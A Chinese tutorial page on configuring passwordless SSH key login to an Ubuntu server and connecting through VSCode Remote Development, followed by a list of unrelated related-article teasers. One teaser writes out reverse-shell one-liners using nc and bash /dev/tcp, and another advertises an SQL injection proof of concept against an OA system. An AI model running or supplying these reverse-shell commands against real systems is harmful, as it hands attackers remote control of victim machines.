ubuntu配置免密登录vscode

1、配置免密登录

(1)在windows系统cmd下运行命令

ssh-keygen

一路回车,将会在C:\Users\用户名\.ssh目录下生成两个文件:id_rsa和id_rsa.pub。如下图所示。

在这里插入图片描述

(2)进入.ssh目录。如果想使用root用户,那么路径为/root/.ssh。如果想使用普通用户,那么路径为/home/用户名/.ssh。这里以root用户的路径为例。

cd /root/.ssh

id_rsa.pub文件的内容拷贝到远程linux服务器需要免密登录的用户家目录内的.ssh目录内的authorized_keys文件中

vim authorized_keys

注:如果有多台机器登录到linux中的该用户,或者authorized_keys文件已存在,则另起一行,写入公钥内容。

(3)修改.ssh目录和authorized_keys权限

cd /root

chmod 700 .ssh

cd /root/.ssh

chmod 600 authorized_keys

(4)测试配置是否成功,如果成功,在windows系统中cmd下运行下面命令就可以免密登录。

ssh 用户名@远程服务器ip
比如ssh root@101.53.1.1

2、vscode配置

(1)在本地安装插件

如下图所示,输入“Remote Developement”查找插件,然后点击“Install”进行安装。
在这里插入图片描述

(2)填写配置

在这里插入图片描述在这里插入图片描述
如果需要在多台远程服务器进行开发,可以在这一配置文件中配置多个Host,注意指定多个不同的Host名称。

在这里插入图片描述

(3)连接远程服务器

第二步填写完配置后,关闭VSCode,再打开,就会自动连接远程服务器了。
在配置好的Host列表中,鼠标右键可以选择在当前窗口进行连接远程服务器,或者新建窗口连接远程服务器。
在这里插入图片描述
以新建窗口打开远程服务器为例,点击后,界面如下:
在这里插入图片描述在这个界面中,可以对系统平台进行选择,这里,我们选择“linux”。之后,可以选择打开系统中的目录,打开后,将在左侧展开目录树

(4)配置远程解释器

由于在VSCode安装插件经常失败,所以建议去vscode插件网站下载这插件ms-vscode-remote.vscode-remote-extensionpack-0.23.0.vsix。插件是服务器端的远程连接配置。下载完之后,使用WinSCP软件,将插件传到远程服务器上,目录自定。

先点击插件,然后点击右上角的三个点,选择从VSIX安装。
在这里插入图片描述

然后就会出现远程服务器的目录。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/177832.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

抖去推--短视频账号矩阵系统saas工具源码技术开发(源头)

目录 一、短视频矩阵系统搭建常见问题? 二、账号矩阵如何打造?(企业号、员工号、达人号裂变) 三、无人直播解决什么问题? 一、短视频矩阵系统搭建常见问题? 1、抖去推的短视频AI矩阵营销软件需要一定的技…

Python爬虫404错误:解决方案总结

在进行网络爬虫开发的过程中,经常会遇到HTTP 404错误,即“Not Found”错误。这种错误通常表示所请求的资源不存在。对于爬虫开发者来说,处理这类错误是至关重要的,因为它们可能会导致爬虫无法正常工作。本文将探讨Python爬虫遇到4…

易宝OA系统ExecuteSqlForSingle接口SQL注入漏洞复现 [附POC]

文章目录 易宝OA系统ExecuteSqlForSingle接口SQL注入漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 易宝OA系统ExecuteSqlForSingle接口SQL注入漏洞复现 [附POC] 0x01 前言 免责声明:请勿利用文章…

inBuilder低代码平台新特性推荐-第十一期

今天来给大家带来的是inBuilder低代码平台特性推荐系列第十一期——子表启用卡片式编辑! 一、 场景介绍 表单子表的列比较多的场景中,若使用列表自带编辑器需要频繁拖动横向滚动条,而且不易进行数据分析、自查。所以项目中希望将子表的数据…

linux反弹shell

nc工具反弹shell 下面是windows主机找到nc打开1.bat输入:nc 连接的IP地址 端口 受害主机是nc -lvvp 端口 -t -e /bin/bash kali系统连接 bash命令反弹 本地 nc -l -p 端口, 受害主机 bash -i >& /dev/tcp/要连接的主机IP/端口 0>&1 注…

算法刷题-动态规划3(未完待续---------

算法刷题-动态规划3) 01背包问题最后一块石头的重量 01背包问题 一篇文章吃透背包问题 大佬讲解什么是背包问题 问题分析: 面对这么多的物品, 选择一个个地来装入背包,背包的承重量不断地增加,二维数组中,…

【Linux】探索进程的父与子

目录 1.获取进程PID1.1进程PPID 2.通过系统调用创建进程-fork初识2.1为什么fork函数要给子进程返回0,给父进程返回pid?fork函数如何做到返回两次的?fork干了什么事情?怎么理解一个变量为什么有两个不同的值?如果父子进…

投标文件的胶装和封装以及注意事项

投标文件最后的胶装和封装的时间我们需要做的内容: 1.制作签字页码表(法人签字有几处,页码11,12,13,89,678,代理人签字有几处,页码11,12,13,89,678 ),目的为后期签字做准备。【关注首页,一般也…

【面试HOT200】滑动窗口篇

系列综述: 💞目的:本系列是个人整理为了秋招面试的,整理期间苛求每个知识点,平衡理解简易度与深入程度。 🥰来源:材料主要源于【CodeTopHot200】进行的,每个知识点的修正和深入主要参…

Bitcoin SV 和 Bitcoin Core 之间首次跨链原子交换

我们已经执行了 Bitcoin SV 和 Bitcoin Core 之间的首次原子交换。 这一成就代表了比特币 SV 的重大进步,以去信任的方式促进了与其他区块链的无缝互操作性。 图片源自Gemini 在上一篇文章中,我们解释了原子交换的高级理论。 我们深入研究了使用哈希时间…

c++ opencv使用drawKeypoints、line实现特征点的连线显示

前言 图像经过算子处理后得到若干特征点,使用opencv进行渲染显示出这些特征点并且连线,更直观的对比处理前后的一些差异性 demo核心代码 //画出特征点并连线 void drawFilterLinePoints(cv::Mat& srcMat, cv::Point2f pointStart, cv::Point2f po…

程序员接私活平台有哪些?这8大程序员兼职平台让你收入直接翻倍!

接私活 对程序员这个圈子来说是一个热门话题,不说全部,应该大多数程序员都有过想要接私活的想法,但是很少有人在公开场合讨论私活的问题,似乎都在避嫌。就跟有人下班后跑滴滴一样,程序员私有时间接点活挣点钱不也很正常…

修改分区序列号的简单方法!

“我使用的是自己组装的电脑,安装了正版Win10操作系统。但奇怪的是,这台电脑看起来完全正常,但是每次启动时的分区序列号却总是不同。我现在要使用的软件需要依赖分区序列号进行注册,所以这个问题不解决我就没法使用软件。系统是正…

【机器视觉技术】:开创人工智能新时代

🎥 屿小夏 : 个人主页 🔥个人专栏 : IT杂谈 🌄 莫道桑榆晚,为霞尚满天! 文章目录 📑 前言🌤️ 机器视觉技术的实现☁️ 图像采集☁️ 图像处理☁️ 数据建模☁️应用展示…

掌握你的Mac,iStat Menus带你了解mac系统状态

iStat Menus for mac是一款强大的mac系统状态监控工具,它能够提供实时的系统信息和性能监测,帮助用户全面了解和管理自己的Mac设备。无论是CPU、内存、网络、硬盘还是传感器数据,iStat Menus都能直观地展示,并且支持自定义布局和样…

仿东郊到家预约按摩小程序开发;

在这个快节奏的现代社会,人们对便捷、高效的服务需求日益增大。正因如此,到家预约系统上门按摩小程序应运而生,它结合了互联网技术和传统按摩服务,不仅满足了人们对便捷按摩服务的需求,还为商家提供了全新的商业价值。…

Glide结合OkHttp保证短信验证接口携带图形验证码接口返回Cookie值去做网络请求

一、实现效果 二、步骤 注意:仅展示核心部分代码 1、导入依赖 api com.github.bumptech.glide:glide:4.10.0 kapt com.github.bumptech.glide:compiler:4.10.0 api com.squareup.okhttp3:okhttp:3.11.0 api com.squareup.okhttp3:logging-interceptor:3.11.02、自…

做项目,要从学生思维里跳出来

今天分享下在23期群的聊天记录,关于做项目正确的思维,自己曾经走过一些弯路,希望大家能Get到。 做项目,一定要从学生思维里跳出来。 1.学生思维就是前期就想每个细节都要搞懂,感觉才能往下,其实像lora&…

我的CSDN创作纪念日

⭐前言 同志们,大家好!我是乱码怪才,这篇博客我来分享一下我和CSDN的故事————一个人工智能学生和CSDN的相遇。 💖相遇CSDN💖 我在刚上大学的时候就下载了CSDN,那时候只是在平台上搜一些C语言的算法题…

基于可穿戴的健康监护终端--研究进展报告

基于可穿戴的健康监护终端--研究进展报告 1 引言2 传感器介绍2.1 呼吸速率传感器2.2 温度传感器2.3 心脏跳动传感器 3 论文介绍3.1 Effective Data Decision-Making and Transmission System Based on Mobile Health for Chronic Disease Management in the Elderly3.2 Design …